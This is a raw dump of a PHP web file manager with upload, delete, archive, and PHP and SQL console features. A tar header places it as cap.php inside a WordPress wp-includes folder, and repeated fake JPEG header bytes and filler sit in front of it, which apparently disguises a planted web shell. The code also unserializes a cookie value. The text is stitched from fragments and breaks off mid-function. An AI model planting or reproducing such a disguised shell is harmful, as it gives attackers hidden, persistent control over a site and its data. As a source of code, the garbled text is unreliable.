		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                           cap.php.tar                                                                                         0000644                 00000240000 15217301621 0006577 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php                                  0000644                 00000234451 15217274014 0021221 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
